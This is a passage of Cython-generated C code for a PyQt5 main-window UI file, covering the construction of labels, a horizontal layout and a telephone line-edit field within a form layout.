__PYX_ERR(0, 216, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_15, __pyx_t_3) < 0) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":217 * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_15.setObjectName("label_15") # <<<<<<<<<<<<<< * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_15); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__128, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":218 * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_15.setObjectName("label_15") * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) # <<<<<<<<<<<<<< * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_14, __pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_14, __pyx_t_6, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_14); __Pyx_GIVEREF(__pyx_int_14); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_14); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_2); __pyx_t_6 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":219 * self.label_15.setObjectName("label_15") * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) * self.horizontalLayout_3.setSpacing(6) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 219, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3, __pyx_t_3) < 0) __PYX_ERR(0, 219, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":220 * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) # <<<<<<<<<<<<<< * self.horizontalLayout_3.setSpacing(6) * self.horizontalLayout_3.setObjectName("horizontalLayout_3") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__129, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 220, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":221 * self.horizontalLayout_3 = QtWidgets.QHBoxLayout() * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) * self.horizontalLayout_3.setSpacing(6) # <<<<<<<<<<<<<< * self.horizontalLayout_3.setObjectName("horizontalLayout_3") * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__130, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":222 * self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) * self.horizontalLayout_3.setSpacing(6) * self.horizontalLayout_3.setObjectName("horizontalLayout_3") # <<<<<<<<<<<<<< * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_16.setObjectName("label_16") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__131, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":223 * self.horizontalLayout_3.setSpacing(6) * self.horizontalLayout_3.setObjectName("horizontalLayout_3") * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_16.setObjectName("label_16") * self.horizontalLayout_3.addWidget(self.label_16) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_16, __pyx_t_3) < 0) __PYX_ERR(0, 223, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":224 * self.horizontalLayout_3.setObjectName("horizontalLayout_3") * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_16.setObjectName("label_16") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.label_16) * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_16); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__132, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 224, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":225 * self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_16.setObjectName("label_16") * self.horizontalLayout_3.addWidget(self.label_16) # <<<<<<<<<<<<<< * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_16); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 225, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":226 * self.label_16.setObjectName("label_16") * self.horizontalLayout_3.addWidget(self.label_16) * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_telephone, __pyx_t_3) < 0) __PYX_ERR(0, 226, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":227 * self.horizontalLayout_3.addWidget(self.label_16) * self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Expanding); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Fixed); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 227, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 